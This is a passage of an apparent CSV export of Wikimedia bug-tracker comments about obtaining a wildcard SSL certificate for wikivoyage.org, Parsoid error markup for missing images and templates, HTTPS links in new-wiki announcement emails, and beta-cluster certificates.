+%%%DNS:*.wikivoyage.org, DNS:wikivoyage.org, DNS:m.wikivoyage.org,%%%
+%%%DNS:*.m.wikivoyage.org%%%
+%%%(includes .m.)%%%",,,1352310290,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+365699,SSL cert for wikivoyage.org,//Stolen from robh by dzahn//,,,1352309734,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+365689,SSL cert for wikivoyage.org,"%%%tridge:/data/ssl_certs/wildcards/%%%
+%%%There are now three files, wikivoyage.org key, csr, and crt. CRT is of course%%%
+%%%the certificate, and key the private key file.%%%
+%%%--%%%
+%%%Rob Halsell%%%
+%%%Operations Engineer%%%
+%%%Wikimedia Foundation, Inc.%%%
+%%%E-Mail: <rhalsell at wikimedia>%%%",,,1352302578,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-42,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+365681,SSL cert for wikivoyage.org,"%%%Cert request is submitted, awaiting Digicert to modify it to accept SANS and%%%
+%%%the like. This is something they have to do manually, but normally is done%%%
+%%%within an hour or two.%%%
+%%%--%%%
+%%%Rob Halsell%%%
+%%%Operations Engineer%%%
+%%%Wikimedia Foundation, Inc.%%%
+%%%E-Mail: <rhalsell at wikimedia>%%%",,,1352299304,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-42,True,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+365675,SSL cert for wikivoyage.org,"%%%Just a reminder that we ideally need this in the next 24-48 hours as we intend%%%
+%%%to go live with the site very soon.%%%
+%%%Thanks much,%%%
+%%%Erik%%%",,,1352275398,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-42,True,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+365666,SSL cert for wikivoyage.org,//Given to robh by wooster//,,,1352223114,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+365656,SSL cert for wikivoyage.org,//Status changed from 'new' to 'open' by RT_System//,,,1352223114,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+365646,SSL cert for wikivoyage.org,"`wooster  wrote:`
+
+%%%On Thu Oct 11 18:41:52 2012, dzahn wrote:%%%
+> it is 99.5% certain we will use this domain. we have already talked to
+> the
+> current owner about the domain transfer and they will visit us here at
+> the
+> office next week.
+>
+> we will need a *.wikivoyage.org SSL cert and we will need it
+> relatively quick
+> given the current schedule to start with the wikivoyage project
+%%%Rob,%%%
+%%%Pls proceed with the purchase with DigiCert for *.wikivoyage.org and SAN for%%%
+%%%*.m.wikivoyage.org.%%%
+%%%The domain has been transferred over to us now.%%%
+%%%Thks%%%
+%%%CT%%%",,,1352223113,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-43,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1
+365637,SSL cert for wikivoyage.org,Dependency by ticket #3750 added by dzahn,,,1350606596,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+365629,SSL cert for wikivoyage.org,Dependency on ticket #3697 added by dzahn,,,1349986823,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+50900,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Image patch (https://gerrit.wikimedia.org/r/#/c/57817/) is missing error handling when the mw API is queried to get information about an image.
+
+Two kind of errors that handleResponse in LinkHandler.js has to deal with:
+
+(1) API error: Given that ApiRequest retries, an api error is an indication that the api may be temporarily down or that something else is wrong.  So, rather than continue, it is better to abort processing and return an error code to the clients so they can handle it however they want (ex: ve might tell the user that the page cannot be edited right now because of api/server issues).  This will require calling the error callback found in env.
+
+(2) Image missing: If the api comes back and tells us that the image is missing, we should handle this similar to how the PHP parser does it for missing images.
+- Maybe link to a special page/url that will let VE present an upload handler (check with VE folks as to what this url could be.  PHP parser behavior can be found by editing a page on wikipedia sandbox with a non-existent image)
+- Dont add a thumb.
+- Add a special rdf type on the image/wrapper tag: mw:Image/Missing maybe?
+
+EDIT: These properties should apply to missing templates as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369760400,1487999636.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-mmm6poefxi4xoohquyi4,task_description,resolved,True,c2,1,True,False,False,-14,True,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+815613,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 merged by jenkins-bot:
+T50900: Set mw:Error and provide error info in data-mw for ext/tpl
+
+[[https://gerrit.wikimedia.org/r/339689]]",,,1487999288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,182,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+815429,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 had a related patch set uploaded (by Arlolra):
+T50900: Set mw:Error and provide error info in data-mw for ext/tpl
+
+[[https://gerrit.wikimedia.org/r/339689]]
+",,,1487969442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,182,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+509627,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"According to comments in ext.core.TemplateHandler.js, the data-mw update was supposed to apply to missing templates as well.  Re-opening and retitling to reflect work remaining, since there are already references in the source code to this bug #.",,,1439831900,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,102,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+343581,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,This has been deployed.,,,1418855804,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,True,,,68,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+339921,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 merged by jenkins-bot:
+T50900: Add mw:Error   error info to data-mw for missing imgs
+
+[[https://gerrit.wikimedia.org/r/170455]]",,,1418149485,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,66,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+336370,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded (by Subramanya Sastry):
+T50900: Add mw:Error   error info to data-mw for missing imgs
+
+[[https://gerrit.wikimedia.org/r/170455]]
+
+#patch-for-review",,,1417716645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,66,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+226886,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded by Subramanya Sastry:
+WIP: (Bug 48900) Add mw:Error + error info to data-mw for missing imgs
+
+https://gerrit.wikimedia.org/r/170455",,,1414795698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,61,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+226879,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,We should tackle this one soon since this blocks Flow from removing data-parsoid from their code. They use data-parsoid for missing images to render links. We currently emit a mw:Placeholder meta for it.,,,1411654695,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,True,,,56,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+226873,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51615 has been marked as a duplicate of this bug. ***,,,1374161731,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226871,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Spec in development at http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling,,,1374106464,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+226868,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"We recently discussed this again. A possible solution might be to mark arbitrary elements as error-affected using an additional mw:Error typeof (or CSS class), plus error information in data-mw.error. This error information can be an object like this:
+
+{
+  key: ""missing-image"",
+  msg: ""This image did not exist""
+}
+ 
+The key can be used to retrieve localized messages. The msg just provides a non-localized fall-back. We could leave that out too if we are concerned about space.
+
+For images, we'd use the standard DOM structure as if the image existed, but point out the error with the typeof and data-mw so that the VE can help the user to fix the issue. Similarly, bots can look for errors and potentially fix them automatically.",,,1374075574,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+226863,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51535 has been marked as a duplicate of this bug. ***,,,1374074905,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226859,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50290 has been marked as a duplicate of this bug. ***,,,1373852602,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-7,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+226852,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Another example from bug 51244 - http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Helder.wiki/Testes?oldid=36380720,,,1373646156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-7,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+226845,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51244 has been marked as a duplicate of this bug. ***,,,1373646127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-7,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+226839,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51039 has been marked as a duplicate of this bug. ***,,,1373590970,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226832,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,True,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+226827,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50035 has been marked as a duplicate of this bug. ***,,,1372104211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-10,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226822,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Before merging Mark's image patch I added very basic error handling that at least round-trips the image in case something goes wrong. This uses a simple mw:Placeholder for now, but we should probably create a generic error RDFa type that lets us report localizable errors while still ensuring round-tripping.
+
+To let editors fix such an issue it might be useful to attach the regular DOM structure to the error wrapper. We'd also need to point out which property needs to be fixed, so that a client like the VisualEditor can provide a useful dialog.",,,1371782235,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,1,False,,,-10,True,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+50572,Change URL in announcement email for new wikis to https as default,"The email announcement that comes through newproject mailing list from the wiki creation process currently shows an http://... link. Would it be possible for that email to be converted to offer the https login rather than http, or even both with a little explanatory text.  Selfish request though with the direction that is being taken, it is just a matter of time.  Thanks.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1368786120,1373060757.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-lcjffz2w2holuzdprvmd,task_description,resolved,True,c2,1,False,False,True,-15,True,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+231891,Change URL in announcement email for new wikis to https as default,"-Once the wiki is fully set up, it'll be visible at http://$6\"");"" | mwscript eval.php --wiki=aawiki
++Once the wiki is fully set up, it'll be visible at https://$6\"");"" | mwscript eval.php --wiki=aawiki
+
+merged",,,1373060757,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,True,,,-8,True,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+231887,Change URL in announcement email for new wikis to https as default,"Change 64462 merged by Dzahn:
+Change link in notifyNewProjects to HTTPS
+
+https://gerrit.wikimedia.org/r/64462",,,1373060706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,False,,,-8,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231883,Change URL in announcement email for new wikis to https as default,Related URL: https://gerrit.wikimedia.org/r/64462 (Gerrit Change I518b518523520e7a310a9bc68216b7938e8a7631),,,1368833865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231880,Change URL in announcement email for new wikis to https as default,Example email: http://lists.wikimedia.org/pipermail/newprojects/2013-May/000069.html,,,1368788692,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lcjffz2w2holuzdprvmd,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+50501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We now have nginx SSL proxies in front of the beta caches (Bug T38648). We still have to fix the certificate (that is *.wmflabs.org for now).
+
+We need certificates generated by 'Labs CA' for the entries listed in role::protoproxy::ssl::beta and some more.  I guess the easiest would be to create *.beta.wmflabs.org cert that will also contains the following DNS entries:
+
+*.wikimedia.beta.wmflabs.org
+*.wikibooks.beta.wmflabs.org
+*.wikinews.beta.wmflabs.org
+*.wikipedia.beta.wmflabs.org
+*.wikiquote.beta.wmflabs.org
+*.wikisource.beta.wmflabs.org
+*.wikiversity.beta.wmflabs.org
+*.wikivoyage.beta.wmflabs.org
+*.wiktionary.beta.wmflabs.org
+
+And the mobile ones:
+
+*.m.wikimedia.beta.wmflabs.org
+*.m.wikibooks.beta.wmflabs.org
+*.m.wikinews.beta.wmflabs.org
+*.m.wikipedia.beta.wmflabs.org
+*.m.wikiquote.beta.wmflabs.org
+*.m.wikisource.beta.wmflabs.org
+*.m.wikiversity.beta.wmflabs.org
+*.m.wikivoyage.beta.wmflabs.org
+*.m.wiktionary.beta.wmflabs.org
+
+*.zero.wikipedia.beta.wmflabs.org
+
+**See Also**:
+{T56065}
+{T70387}
+{T71269}",Medium,50.0,1368604800,1472656512.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-p25kct7eiowcmvkmyncx,task_description,resolved,True,c2,1,True,True,False,-15,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,1
+982520,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.
+
